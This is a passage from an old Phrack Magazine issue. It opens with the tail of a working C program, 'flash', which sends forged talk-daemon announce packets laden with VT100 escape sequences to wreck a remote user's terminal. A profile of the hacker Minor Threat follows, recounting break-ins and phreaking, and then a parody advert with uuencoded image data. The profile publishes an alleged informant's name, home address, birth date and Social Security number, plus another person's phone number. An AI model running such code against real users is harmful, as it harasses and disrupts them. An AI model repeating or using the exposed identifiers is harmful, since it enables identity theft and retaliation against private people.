terminal by issuing a talk request to that person and sending vt100 escape characters that force the user to logout or kill his/her xterm in order to regain a sane view of the text.

It the user's message mode is set to off (mesg n) he/she will be unharmed.

This program is really nasty :‑)

Usage: flash user@host

try compiling with: gcc ‑o flash flash.c

*/

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdio.h>

#include <strings.h>

/* this should really be in an include file.. */

#define OLD_NAME_SIZE 9

#define NAME_SIZE 12

#define TTY_SIZE 16

typedef struct {

char type;

char l_name[OLD_NAME_SIZE];

char r_name[OLD_NAME_SIZE];

char filler;

u_long id_num;

u_long pid;

char r_tty[TTY_SIZE];

struct sockaddr_in addr;

struct sockaddr_in ctl_addr;

} OLD_MSG;

typedef struct {

u_char vers;

char type;

u_short filler;

u_long id_num;

struct sockaddr_in addr;

struct sockaddr_in ctl_addr;

long pid;

char l_name[NAME_SIZE];

char r_name[NAME_SIZE];

char r_tty[TTY_SIZE];

} CTL_MSG;

#define TALK_VERSION 1 /* protocol version */

/* Types */

#define LEAVE_INVITE 0

#define LOOK_UP 1

#define DELETE 2

#define ANNOUNCE 3

int current = 1; /* current id.. this to avoid duplications */

struct sockaddr_in *getinaddr(char *hostname, u_short port)

{

static struct sockaddr addr;

struct sockaddr_in *address;

struct hostent *host;

address = (struct sockaddr_in *)&addr;

(void) bzero( (char *)address, sizeof(struct sockaddr_in) );

/* fill in the easy fields */

address‑>sin_family = AF_INET;

address‑>sin_port = htons(port);

/* first, check if the address is an ip address */

address‑>sin_addr.s_addr = inet_addr(hostname);

if ( (int)address‑>sin_addr.s_addr == ‑1)

{

/* it wasn't.. so we try it as a long host name */

host = gethostbyname(hostname);

if (host)

{

/* wow. It's a host name.. set the fields */

/* ?? address‑>sin_family = host‑>h_addrtype; */

bcopy( host‑>h_addr, (char *)&address‑>sin_addr, host‑>h_length);

}

else

{

/* oops.. can't find it.. */

puts("Couldn't find address");

exit(‑1);

return (struct sockaddr_in *)0;

}

}

/* all done. */

return (struct sockaddr_in *)address;

}

SendTalkPacket(struct sockaddr_in *target, char *p, int psize)

{

int s;

struct sockaddr sample; /* not used.. only to get the size */

s = socket(AF_INET, SOCK_DGRAM, 0);

sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); }

new_ANNOUNCE(char *hostname, char *remote, char *local)

{

CTL_MSG packet;

struct sockaddr_in *address;

/* create a packet */

address = getinaddr(hostname, 666 );

address‑>sin_family = htons(AF_INET);

bzero( (char *)&packet, sizeof(packet) );

packet.vers = TALK_VERSION;

packet.type = ANNOUNCE;

packet.pid = getpid();

packet.id_num = current;

bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE);

strncpy( packet.r_name, remote, NAME_SIZE);

strncpy( packet.r_tty, "", 1);

SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); }

old_ANNOUNCE(char *hostname, char *remote, char *local)

{

OLD_MSG packet;

struct sockaddr_in *address;

/* create a packet */

address = getinaddr(hostname, 666 );

address‑>sin_family = htons(AF_INET);

bzero( (char *)&packet, sizeof(packet) );

packet.type = ANNOUNCE;

packet.pid = getpid();

packet.id_num = current;

bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr)); strncpy( packet.l_name, local, NAME_SIZE);

strncpy( packet.r_name, remote, NAME_SIZE);

strncpy( packet.r_tty, "", 1);

SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) ); }

main(int argc, char *argv[])

{

char *hostname, *username;

int pid;

if ( (pid = fork()) == ‑1)

{

perror("fork()");

exit(‑1);

}

if ( !pid )

{

exit(0);

}

if (argc < 2) {

puts("Usage: <finger info> ");

exit(5);

}

username = argv[1];

if ( (hostname = (char *)strchr(username, '@')) == NULL )

{

puts("Invalid name. ");

exit(‑1);

}

*hostname = '\0';

hostname++;

if (*username == '~')

username++;

#define FIRST "\033c\033(0\033#8"

#define SECOND "\033[1;3r\033[J"

#define THIRD "\033[5m\033[?5h"

new_ANNOUNCE(hostname, username, FIRST);

old_ANNOUNCE(hostname, username, FIRST);

current++;

new_ANNOUNCE(hostname, username, SECOND);

new_ANNOUNCE(hostname, username, SECOND);

current++;

new_ANNOUNCE(hostname, username, THIRD);

old_ANNOUNCE(hostname, username, THIRD);

}

Phrack Prophile on Minor Threat

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 5 of 28

****************************************

‑:[ Phrack Pro‑Phile ]:

This issue our prophile introduces you to one of the craziest people I've ever met from the Underground. And coming from a complete loon like me, that's saying something. This guy is a real Renaissance Man: Hacker, programmer, burglar, convict, star of stage and screen... Of course, that someone could only be:

Minor Threat

~~~~~

________________________________________

Personal Info:

Handle: Minor Threat

Call him: MT, minor, lamer

Born: 1972 in Walnut Creek, California Age: 22

Height: 6'1"

Weight: 155 lbs

e‑mail: mthreat@paranoia.com

www: http://www.paranoia.com/~mthreat/

Affiliations: Dark Side Research

Computers owned: 1981: IBM PC

1982: none

1984: PCjr

1988: XT Clone

1990: 386/25 Clone

1992: Too many to legally list 1994: Pentium & 486

How I got started

~~~~~~~~~~~~~~~~~

In 1981, my dad worked for IBM. In October of that year, he brought home a PC, and I jumped on BASIC. It wasn't until 1984 that I got my first modem. I had just moved to Florida with my dad, and he had a modem. I met some other kids with computers and modems and they taught me what modems were for: "You call other people's computers and try to get their passwords and intercept their mail". (That's what I was taught!) It wasn't until a few months later I realized that this wasn't the actual purpose of BBSs and modems. My first BBS was the Towne Crier BBS at FAU (Florida Atlantic University), 305‑393‑3891 (I still remember that damn number), but the NPA has since changed to 407. We thought it was so cool when we logged on as "All" and deleted all the messages posted to "All".

In about 1985, I moved back to Austin. I screwed around for several years without doing any real hacking. When I got to high school, I wanted to change my grades like in War Games, so I looked through the counselor's office until I found a number to the Education Service Center. I had to scan a whole _100_ numbers (929‑13xx) to find the HP3000 dialup. Once I found it, I had no idea what to do. I gave the number to a friend in high school, who gave it to some of his hacker friends. They hacked it and gave it back to me, complete with a full list of passwords and commands. It turns out, the two Austin hackers who did it were The Mentor and Erik Bloodaxe, but I didn't know that for another 3 years.

Shortly after this, I picked my permanent handle. Minor Threat was an early‑to‑mid 1980's punk band from Washington, DC. They're no longer together, but Fugazi is pretty good and Ian McKaye (from Minor Threat) is in Fugazi. I actually got the handle off of one of my sister's tapes, before I even heard them. But now I like the music too.

Eventually, I found a local pirate board, met all the local pirates, and got into the warez scene for a while. I joined PE (Public Enemy), the pirate group. (I cracked the warez!) Warez were only so fun, so I looked for other stuff. I met some VMB lamers and got into that scene for about a month, and got bored again.

This was 1990, our 950s were running out, and we needed another way to call out. So I took an old VMB hacking program I had written, and changed it around to scan for tones, in random order to avoid Ma Bell problems. I nicknamed it ToneLoc, short for ToneLocator. I gave it to some friends (Alexis Machine & Marko Ramius) and eventually, it ended up on some warez boards. It got pretty popular, so I made a version that worked for more people, called it 0.90, and released it. Then I lost the source in a hard drive crash, and stopped working on it.

I was 18 and mom said it was time to get out of her house, so I got my own apartment. Marko Ramius and I learned about trashing central offices, and gained COSMOS access. We barely knew what COSMOS was .. I knew I had read about it in old Phrack articles, and I remembered that it was "elite." Our problem was, we still knew no other "real" hackers, and we had to learn COSMOS. After trashing and trashing, we still had no COSMOS manuals. We had to get them somehow. I can't say how, I'll leave it to your imagination.

Marko and I started breaking in buildings and got pretty good at it. We had about a 60% success rate I would guess. But we never stole anything ‑‑ we just looked for cool information. In 1991, we got caught in a building, and got charged with Criminal Trespassing. We both got probation for a Class A misdemeanor. We decided it was time to stop breaking in buildings.

Late in 1991, I got e‑mail on a bulletin board from someone named Mucho Maas. He said he had gotten ToneLoc and wanted a few new features. I told him I had lost the current source and all I had was an old (0.85) source. He said he would take the old source, add the new features, and bring it up‑to‑date with the current source. So he did, and we released ToneLoc 0.95. If it weren't for Mucho, ToneLoc would still be at version 0.90, and anyone who ran 0.90 knows how hard it was to get it running right.

About the same time, I was getting on a few BBSs in the Washington DC area. (Pentavia was the best while it was up). I met several people there... including a guy named Codec. Codec was mostly a phone phreak, but did a little hacking as well. But when it came to PBX's, he was a master. Not only had he exploited PBXs for free long distance use like the rest of us, but he had actually REMOVED entire PBX systems from buildings! (See his article on how to do this, Phrack 43, article 15). But he had also gotten caught and was on federal probation.

A few months after I met Codec, he had an 'incident' and was on the run again. I agreed to let him live with me, so he flew down and moved in. We got a 2 bedroom place, and set the place up d0pe. There were over 9 phone extensions, (not including cordless), and about the same number of computers (Most of which were Codec's). We had the funnest 3 months ever ... but about 2 weeks after SummerCon 1992, we got arrested.

Favorite things

~~~~~~~~~~~~~~~

Women: w0w

Music: Sonic Youth, Cure, Fugazi, Minor Threat, Orb, B‑Boys, Jane's Addiction.

Favorite Book: 1984

My Car: 1990 300ZX Twin Turbo, Wolf Chip mod to 360 horsepower. It's fucking fast. Favorite Movies: Jackie Chan movies, The Killer, Reservoir Dogs, The Lost Boys, Near Dark, Hardware. Favorite TV: MacGyver

What are some of your most memorable experiences?

Being polygraphed by the Secret Service in 1991 for something having to do with some lamer threatening the president on an Alliance Teleconference. I failed the polygraph the first time, then I passed it the second time. (How's that for the government?) Eventually, some other 15‑year old got probation for doing it.

Being arrested with Codec in 1992. He ran, outran the cops, jumped a fence about 8 feet tall, and eventually got in a struggle with a cop over the his gun (Officer Sheldon Salsbury, Austin PD). The gun went off, and we were both booked on attempted capital murder. It turned out that the bullet hit no one, and all the blood was from the cop hitting himself in the head with his own gun, although the cop claims that Codec hit him in the forehead with a 2‑meter ham radio from like 20 feet away. Right. A search warrant was executed on our apartment, and approximately $800,000 worth of AT&T Switching equipment was seized from Codec's closet. It turns out, we were narced on and set‑up by :

Jon R. Massengale

6501 Deer Hollow

Austin, TX 78750

DOB: 9‑7‑62

SSN: 463‑92‑0306

Being the first in Texas to have Caller‑ID, before it was legally available.

Losing control of my car at 140mph, doing a slow 360 at about 120, living through it, and not doing too much damage to my car.

Good times:

Going up to Seattle to visit Cerebrum in May 1993, seeing Fugazi, getting our car towed, then reading the dialups to the towing company's xenix (login: sysadm). Finally getting our Oki 900's to clone/tumble/do other d0pe things. Calling each other on our Okis from 5 feet away, putting them together and causing feedback.

Setting up my apartment with Codec with a 10‑station Merlin system, and a 9‑station network.

SummerCon 1993. "Culmination of Coolness." Sorry, can't say any more.

Some People To Mention:

There are a lot of people who I would like to mention that have helped me greatly and who I have known for a very long time:

Marko Ramius ‑ First pirate/hacker I really knew in person. We did a lot of crazy shit together.

Alexis Machine ‑ Second hacker‑type I met, and a true Warez Kid. (that's a complement!)

Mucho Maas ‑ Brought back ToneLoc from the dead. Always told me what I shouldn't do, and always said "I told you so" when I got busted.

Codec ‑ I had some of the funnest times of my life with Codec... unfortunately, it was so much fun it was illegal, and we got busted.

Cerebrum ‑ Very cool friend who got narced on by a fuckhead named Zach, 206‑364‑0660. Cerebrum is serving a 10 month federal sentence in a nice prison camp in Sheridan, Oregon. He gets out about December 10, 1994.

The Conflict ‑ Unfortunately, I can't tell you. Maybe in about 8 more years.

ESAC Administrator ‑ "Have you been drinking on the job?"

What I'm up to now

~~~~~~~~~~~~~~~~~~

When I heard that the next Phrack Pro‑phile was going to be about me, I realized, "I must be retired". It's probably true.. at least I hope it is. The 5 months I spent in jail was enough. I just started going back to University of Texas, where they will only give me a VAX account (lame). For the first time in 4 years, I think my life is going in the 'right' direction.

Advice

~~~~~~

I can only hope anyone who reads this will take this seriously. Here's my advice: If you ever get arrested or even simply questioned about ANYTHING AT ALL, DO NOT COOPERATE. Always tell the law enforcement official or whoever, "I'm sorry, I can't talk without my lawyer present" Cooperating will never help you. Codec recently pointed out to me, that we should be the "role models" of what people should do when they get busted. Both of us remained loyal and quiet during our whole case. I was in jail for 5 months, and Codec is still in prison, but we never talked. Being narced on by a 'buddy' is the worst thing that could ever happen to you, and narcing on a 'buddy' is the worst thing you could do to them. If you get busted for something, don't pass the punishment on to someone else. I hope most of you never have to face this, but if you do, you will live much better knowing that you didn't give in to

Paid Advertisement

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 6 of 28

****************************************

BIG FUN

Think Federal District Court Judges and Special

Agents get to have all the fun?

Not any more!!

It's the Operation Sun Devil Home Game!

For the first step in the game, a quick flourish of a pen

signs away your opponent's rights to any expectations of privacy. Bank records, medical records, employment

files, student records...literally anything is yours

for the taking.

As you progress through the various levels, you move on

to other legal scenarios like the application for search warrant and the summons.

It's all here in the Operation Sun Devil Home game, by

Gailco.

========================================

Other game pieces available via ftp from freeside.com

in /pub/phrack/gailco.

Offer not sold in stores. Do not use.

Impersonating an officer of the court is a felony.

section 1 of uuencode 4.13 of file GAME.PCX by R.E.M.

begin 644 GAME.PCX

M"@,!`0````!/!D@(Q@#&`````````````````````````````````````V

M```````````````````````````!R@`!`"`#6`(`````````````````````W

M````````````````````````````````````````

M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_________‑_________\W_____R M____S?_________‑_________\W_________S?_________‑_________\W_R M________S?_________‑_________\W_________S?_________‑________] M_\W_________S?_________‑_________\W_________S?_________‑____R M_____\W_________S?_________‑_________\W_________S?_________‑R M_________\W_________S?_________‑_________\W_________S?______D M___‑_________\W_________S?_________‑_________\W_________S?__R M_______‑_]'_P?!'P?[!X<'@P?_!]F#$_\'XPO_!\'______ZO_1_\'P8\'^X M8<'@P?_!]&#$_\'XPO_!\'_!_O_____I_]#_'\'@P>'!_@$`?\'&`'_#_\'PF MP?@^(!X.?\'_P?C_____YO_0_P_"P\'^`PX_CAX?P__!P,'\'P/"#A_!_\'^^ M'______E_]#_!X?!Y\'^`PX_#L(>#V_!_\'`?!X'C@\?P?^$#\'_A\[_C___X M___4_]#_!X?!Y\'_`PX_#PX>#V?!_\'&P?X?!X</'\'_!P_!_X?._P?#_Y_!E M_Y______SO_/_\'^`8?!\<'^`X`_#@`AA&?!_\'\?QP#!X^?P?\/CC^`/P_!M MY<'_G[_'_\'^`#'!_\'G'\'\!______._\__P?PAP>?!\<'^`<'`P?\,`&"`L M8<'_P?C!_SP@!X^?P?^#P>QXP<!X(\'@P?P_P>'!^,'_P?G$_\'\`#'!_\'A& MG\'X`?_____._\__P?P`P>/!\<'\<`!_'#!@`&/!_\'PP?YX<`?!Q\'?P?_!H MP,'X<,'`&`'!P'#"`,'P/\'QP>!_P?A_P?!X<<'^P?*?PO#!\<']_____\S_< MS__!_&#!X\'PP?QP.'Y\<&`@9\'_P?C!_'AP)\'WPO_!X'APP>`X8,'@<&`@, MP?`_P?#!X'_!^'_!^'QPP?S!\+_#\,'XP?S_____R__/_\'X8&'!X<'\<`P_< M'GYAP>8'P?_!^,'^.,'[AX^?P?_!\``XP<.`<!H`P<`PP>$/P?&`'\'P0\'PV MP?_!\`AA'\'AP?G!P,'@.`______RO_/_\'\'$.#P?X0#A\>/@.&#\'_P?C!S M_QS!_P^/G\'_P=X$/,''@'@?``(<7P_!\8<?P?N'P?C!_\'P#F,?P>/!_X``M M#`______RO_0_\'^#@_!_@`$/P\^``\.?\'\P?\<P>8?CQ_!_P\$/`>,>!\`7 M!AP$#\'A#Q_!_@?!_,'_P>,,0Q_!Q\'_C`,,#______*_]'_/@_!_P<&/P\_9 M!L(//\+_'\'F'X\/P?\/AAZ'ACH/`@X>`@_!XX</P?X'P?[!_X..0P_!Q\'_[

MC@,&!______*_]+_'\'_!\'`P?\//\'^'[_$_\'\/Y\?P?\'!`"'#"`.`8P\P

M`P_!X8<?P>`'P?P_`8#!XQ_!X\'_@``0`______*_]7_P?'!_\'OR/_!_<'_] MP?X_P?^`P@#!P`@A@"#!X#A`#\'AAQ_!X,'#P?A\`<'@P>$?P>'!^,'`<``#' M_____\K_U__!Y\K_P?Y_P?_!X'Q`P>!X`<'@<``PP>`'P?#!QI_!X,'#P?C"4 M,,'AP>"?PO``<`#!\______*_^7_P?C!_\'YPOASP?#!^'S!^,'PP?_!\<+_@ MP?!AP?Q@<,'QP>`_P?!@P@`PP>/_____RO_I_\'X?\'[P?Y_P?[!\,'_P?G"^ M_\'X`\'\`''"X1_!^,0`0______*_^G_P?[‑_\'?P_^?P?X'@A`>#______*; M__W_#\'/'A\/_____\K_S__!]\,'S`^/P=^/P=_#G______F_\__P?3$`,8$2 MP@##!`>'#Q_"G\*______^7_S__!_<'XPN!@PR``PB``PB#,`"``PB#$8,'@R MPF#!X&#"^<']P?G!_?_____1_]#_P?G%\,)@P>#!\&!PP?#"X&!`Q6``0,0`1 MQ4#"8$#"8'#&\,'QP?G!_?_____,_]__P?W!_\/YP?W!^<'XP?#"^,;PQG##: M8,(@Q6#$<,3PP?'!^\'PP?C!_\'Y___]_^?_P?O"_\/[P?#!^<+P<&#!\'!@' MPT#+`,‑`8&'!^\+PPOO___W_S__!^L0``@#'`L(&#L(/'Y_"'Y\?P?^?P=_/@ M_\+?GY["#@;%`LH`Q@(/PA^?P=____#_S__!_L4$P@`$P@#"!,4&P@\.Q@_"K M'\?_O\G_O\8/P@["!@0&!,@`PP0&#L</'\'_/___Z?_0_\*/#\4'P@\'PP\'F

MR`8"!@+%!L('PP;"!\4/CY^/PY_!W\;_G\6/Q`_$!\P&PP?)#\*/GP_#C\.?I

M___3_]3_C\(/!X^?#[^?CP?"!,(`PP33``0.!P^/PY_"O\S_O\'_P=^_C\(?X MPP31`,($`,@$!L(/'\*?___0_^;_P?W!^<'QP_G"\,'QP?#!X,)@(&`@S0#"' M(,'@8'#!X,']PO'"^<+]RO_!_<'_P?W$^<'QP^!@QR``PB#+`"``PB!@Q.#!8 M\,'@8,'@P?#!\<'@P>'!_<'_P?W[_^C_P?O!_\'YPOO!^,']P?G&\,/@Q&#"I M0,8`PD##8,'@QO#!\\/YR__#^\+QR?!PP?#"X,)@P>#$8$##`$``PF##0&#"; M0`#$8'#(\,'Q]/_Z_\']P?G!_<+YP?C#\'#!\,‑PQ&#%(,5@PW#!\,)PP?#$F M^,+YP?_!_<'YP?W)_\']P?_!_<'_P?W!_\'YP?_!^<'XQ/!PP?#$<,‑@<,)@M<,A@PR#$8,)P8,1PP?!PQ/#!^,'YP?C!_=_____!_\'YP?_!\,'YP>##\,'`B M0‑(`0&#$\,'YP_O7_\'ZP?'!^,'YP?C!^<'P0&!`<$!@PT#7`$#"`$#"<,'XO M>,'[P?_!^\'YP?O9____SO_!W\*?'Q[##L(&P@+.``(&P@#$`L<&#AX/PI_!9 MW];_G\'?'X\>!@<.PP8"#L,"T`##`L,&P@X/'\[____1_Y^_PI\?Q`_##@8.Q MQ`;"!,0`!,8`!``&P@0`PP0&Q@\?#\2?OY^_G[^?R?^_P?^_#\(?GQ\/PA^/N MPP\.#P8/Q0;.`,(&#A_,____W__!W\'_G\'/PX_"#\8'!L0'!L('Q08"R`;#M!P;&!\(/!\(/Q(^?C\'?P<_!_\'?RO^?P?^/P=_"G\*/#X_%#\('P@;"`@8":

M#\S____I_Y^_/[^/P@\_Q`\'CP;"!‑@`P@0`P@</#@^/P[_!_Y_7_\*?AX0`1 M!``?S/____O_P_W!^<'QPN#!\,'@PV`@8,(@8"``(,\`(``@`,(@8,'@8,'@$ M8,'@8,+PP?'!^<+QP?G!_=C______\'_P?G!_\/YP?C+\,'@PV!`8‑``0`!`, M(&#"0,'PPF#!X,/PP?'!^<'QPOG1_______2_\3]P?G%^,GPQ'#"8"#"8,D@Y MQ&#$<'_,_______?_\+[P?_!^\'_P?G!^'#"\,'`0`#"0‑$`'\S______^[_" MP]_!_\'?P?^?PA_##L(&PP(?S/______^/^_P?^?O\,/'\S_________S?__& M_______‑_________\W_________S?_________‑_________\W_________> MS?_________‑_________\W_________S?_________‑_________\W_____R M____S?_V_\'`?\'\?\'S_____]'_]O\`'\'^'\'S_____]'_]?_!_@`.!!_!L MP#]_T__!S___^O_U_\'^``8"'X`??\3_P<?._\''O___^?_U_\'PPP`?@`#%P M_\'`SO^`'___^?_U_\'PPP`_@`#%_\'@SO_!P"/___G_]?_!X,,`/@`!Q?_!$ MX<7_P?C'_\'\P@#!\=/_P?S#_\']___@__7_P>!@(``\(`'%_\'AP?_!\\/_0 MP?Q_QO_!^,(`<=/_P?A]P?_!_,'XQ/_!^<K_P?W__]#_]?_!X,'XP>``.$`#' MQ?_!P\'_P>/#_\'X#\;_P?#"``/3_\'X.,'X0``#P__!P<K_P?S__]#_]?_!1 MP\'_P<`#'@`'Q?_!Q\'_P<?#_\'\#\;_P?#"``?#_\'/Q?_!W\G_P?X"PP`#3 MP_^#RO_!_A___\__]?^'P?^'`Q_!Z`?%_\'/P?^'P__!_@?&_\'`#@`/P_^/T MQ?^/R?_!_L4`/\+_A\K_P?P?RO_!_!___\/_]?^'P?\'`Q_!Z`?%_\'/P?^'V MP__!_@?&_\''#P`/P_^/Q?^/R?_!_L4`'\+_A\7_G\3_P?X?RO_!X@^?___"7 M__7_C\'^#@,_P?@'Q_\'P__!_``_Q?^'P?_!P!_#_P_%_P_)_\'^Q0`/PO^/Y MQ?^?Q/_!^#_*_X`$'___PO_U_\'OP?P,`3_!^`/'_P/#_\'\`'_%_\'#P?_!* M\#_#_P_$_\'^#\K_Q0`'PO^/Q?^_Q/_!\'_#_\']QO_!X``G___"__;_P?`X^ M`'_!\`/&_\'\`\/_P?P`/\7_`\'_P?A_PO_!_`_$_\'X'\;_P?'#_\'`Q``'\ MQ__!_'_$_\'PQ/_!\,7_P?Z```/__\+_]O_!\'@`?\'X`<+_P?W#_\'X`\3_% MP>`KQ/_!_@/!_\'X?\+_P?POQ/_!^#_&_\'QP__!X,0``\?_P?A_Q/_!\,3_4 MP?#$_\'^?,(`(\O_P?GU__;_P>!X`S_!^`/!_@?!^,+_'\'X`'_!_\'OP?_!B MP`/$_\'^!\'_P?Q_PO_!^`_$_\'X'\;_P>'#_\'PQ``!QO\/P?@_Q/_!\\3_; MP>#$_\'X&,(`#\O_P?'U__;_P<!\`Q_!^`?!_@?!^#_!_P_!^``/P?^/P?_!X MP`/$_\'^!\'_P?X_PO_!^`_$_\'X'\;_P</#_\'^P@`/``/&_P_!^!_$_\'W_ MQ/_!P\3_P?X8P@`/R__!\?7_]O^`?`,?P>@'P?X'P<`?P?X/P>``#\'_!\'_L MP=P`/\/_P?X'P?_!_!_"_\'H#S_!_Q_!_\'@#\+_O\/_P>?$_YX‑C\'``<;_R M#\'H'\G_@\3_P>@`!@`?R__!P_7_]O^"P?X##\'@!\'^!\'`#\'^!\'@``?!3 M_P?!_\'<`A_#_\'^`Q^,#\+_P>`''\'_#\'_P<`//\'_/\+_/\'GQ?\/C\'N@

M`\;_#\'@'\G_@\3_P<.`!P(_R__!P_7_]O\!P?@#!P`'P?@#P@#!\`/!X``'_ MP>``P?_!_``!P__!_,0`/\'_P<``'X`!P?^``#_!_!_!_\'\#\'CQ/_!_#F/R MP?P`QO^/@!_!_[_'_P/$_X&`1\'\S/^!]?_V_P#!^`'"``'!\,(``<'P`<'PF M`"?!X`#!_\'@``'#_\'PQ``_P?_!X``_P@#![\'``#_!^#_!_\'P`<'AQ/_!^ M\''!S\'\`,'_P?Q_P?_!X<'_P<_!X#')_P'$_X&`P>?!^,S_P<'U__7_P?X!3 MP?#"`&`!P?``(`'!\`/!^`'!_\'``'_!P,'@`</_P>#$``'!_\'@`#S"``_!9 MP`!_P?`'P?_!\`!CQ/_!\,'QP<?!_@#!_\'X?\'_P>#!^,'?P<``?!_!\<'_K MP>/!_\'^P?_!_@##_\'^@`#!X\/_P?W)_\'!]?_U_\'\`<'X`##!\`'!^`!PM M`\'X`\'X`\'_P>`@?"#!\`'#_\'@Q0#!_\'P('P@`#_!X!!_P>`CP?_!X``C@ MQ/_"\,'OP?X`?\'P/\'\8'!_H`!X!\'@P?S!X<'_P?@WP?P`P?/"_\'^P@#!` MY\/_P?C"_\'QP?_!]\+_P?O!_`'U__7_P?P!P?@"/\'P`\'^`,'X`\'X`\'X_ M!\'_@$`/`,'P`</_P<#%`'_!\!_!_Q@`'\'@&\'^``'!_L(`#\3_P<#!\<'/& MP?\`?\'@#\'XP@`_P@`X`\'`?`#!_\'P`<'X``/"_\'^!@#!Y\/_P?!_P?_!L MX<'_P</!_\'/P?'!_`!_]/_U_\'\`\'X`A_!\`?!_@/!_`?!_`?!^`?!_X#!9 MP`\`P?X#P_\#@,0`'\'X'\'_'X`?P>`?P?["`,'\`@`?Q/^`<X_!_P`_P<`/K MP?#"`#\`!@`"`#P`P?^``<'X``/"_\'\#@`'P_^`#\'_@'X#P?X/P<#!_@`#F M]/_U_\'\`\'\`Q_!^`?!_@/!_`?!_`_!_`_!_P`@#P'!_@/#_P.`Q``?P?@/> MP?\/@!_!X!_!_@(`?`8`'\3_@'N/P?\`/\'`#\'@P@`_``\``@`<`,'_@`!\$ M``?"_\'\#@`'P_\`#\'_`#X!P?X'@'P`!_3_]?_!_@/!_`,'``?!_P/!_@?!G M_@_!_@?!_X#!_@\#P?\#P_\#P?\.#X\`#\'@#\'_C\'`'\'@'\'^!P`^!\'.' M'\3_`'>/P=\`'\'@#\'`!@/!_X`?P>["`AX#P?\``GX##\+_P?X.`0?"_\'^L M`@<?`!X"?@<`/@`']/_U_\'\`\'\`L(`!\'^`\'\!\'\#\'\!\'_@,'\'P#!( M_@'#_P'!_[X?P?\`#\'P#\'_C\'@'\'@'\'^`P`\!\'\/\3_`'./P?\`/\'PI M#\'`'@'!_X`?P?["`#P!P?["`'X#O\+_P?P>`(?"_\'PP@`>`!X`<`,`/``#G M]/_U_\'X`<'PPP`#P?X!P?@#P?@'P?@'P?^`P?#!_P#!_`'#_X!YP?@@P?'!) MX`?!\!_!_\''P>`_P>`_P?P#P<!\!\'XQ?\`P?'!P<'P`'_!\#_!X#_!\<'_$ MP<!_P?P!P>#!_`'!_@'!X<'\`\/_P?`<`,'GPO_!\,(`.`!\`'#"`#P`P>/T< M__7_P?@!P?``,,'@`\'\`<'X`\'X`\'X!\'_P<#!\,'_`,'\`</_@"#!\`!A` MP?`'P?`?P?_!P\'@/\'@?\'\`\'@P?@#P?#%_P#!\<'`P?``?\'P/\'@?\'Q: MP?_!P'_!_`'!\,'\`<'^`<'AP?X!P__!\!P`P>/"_\'PP@!X`'P`P?``0'P!) M]?_U_\'X`<'P`'_!\`/!_@'!^`/!^`?!^`?!_\'`P?'!_@#!_`'#_\'`Q`!X2 M!\'P/\'_PN`_P?!_P?P#P>'!^`/!\,3_P?P`P?#!X&``?\'P/\'@?\'AP?_!7 MX'_!_`'!^<'\`<'\`<'[P?P!P__!\#P`P>?"_\'P.&!^P>#!_@#!^`#!X'P!9 M]?_U_\'\`<'X`C_!\`/!_@'!_`/!^`_!^`?!_X#!P\'_`,'\`</_P<#$`'@'1 MP?`?P?_!P,'@/\'@/\'\`\'#P?P#P?'$_\'^`'&``(`_P?`?P>`_P</!_\'`O M?\'\`\'_P?P!P?X!P?_!_@'#_\'P'@#!Q\+_P?`/P<!_@,'^`<'^`<'@P?X#] M]?_U_\'\`,'\#C_!\`?!_@/!_`?!_`_!^`?!_X`/P?\!P?X#P__!P,0`'@?!H M^!_!_PP`'\'@'\'^!P_!_`?!P'_#_X``<X_!WX`?P?@/P<`?#\'_@#_!_@?!" M_\'^`\'^`\'_P?X#P__!X!X`P<?"_\'`'\'`'X#!_@'!_@/!\\'^`_7_]?_!M M_`'!_`\_P?@'P?X#P?P/P?P/P?P/P?^`#\'_`<'_`\/_P<#$`!X'P?@?P?\.C M`!_!X!_!_@</P?P'@!_#_\(`>X_!_X`?P?@/P<`?#\'_@!_!_@?!_\'^`\'^K M`\'_P?X#P__!P!X!A\+_P<`/P<`?@'\!P?\'PO\']?_U_\'^`,'TPA_!X`?!J M_P/!_@?!_`_!_@_!_X`_P?\#P?\'P__!_L0`#@?!^`_!_P\`'\'`'\'^`Q_!+ M_@,`#\+_P?["`'>/P?^`'\'@#\'`#P._@!_!_@?!_\'^`\'_!\+_!\/_P<`>/ M`X?"_\'`#\'`'X!_`\'_!\+_!_7_]?_!_`#!\,(_P?`'P?X#P?P'P?P/P?P'G MP?^`?\'_`,'_`\/_P?S$``X'P?@/P?X?@!_!X!_!_@`_P?S"``_"_\'^P@#!$ M\X_!_X`?P?`/P<`.`#^`/\'^!\'_P?P#P?X#P?_!_@/#_\'@'@'!Q\+_P?`/( MP<`_@'X!P?\#P?_!_@/U__7_P?P`<,'^/\'P!\'^`<'X!\'X!\'X!\'_@,+_[ M`<'^`</_P?W!X``@P>`<!\'P'\'\/\'@/\'@/\'\`,'_P?S"``?"_\'XP@#!% M\<'/P>'!P#_!\`_!X,(`/\'`?\'\`\'_P?P!P?X!P?_!_@/#_\'@'`'!Y\+_I MP?`_P>!_@,'^`<'\`<'_P?P!]?_U_\'\`&#!_C_!\`?!_@'!^`/!^`/!^`?!% M_\'`PO\`P?X!Q/_!\`#!\<'@'`?!\!_!^#_!X#_!X'_!^`'!_\'\`&`'PO_!S M^$``P?'!P&#!P'_!\!_!X,(`?\'`?\'\`\'_P?P!P?X!P?_!_@/#_\'P'`'!>

MY\+_P?`_P>!_@,'^`<'\`<'_P?P!]?_U_\'\`"'!_'_!\`?!_@'!^`/!^`?!:

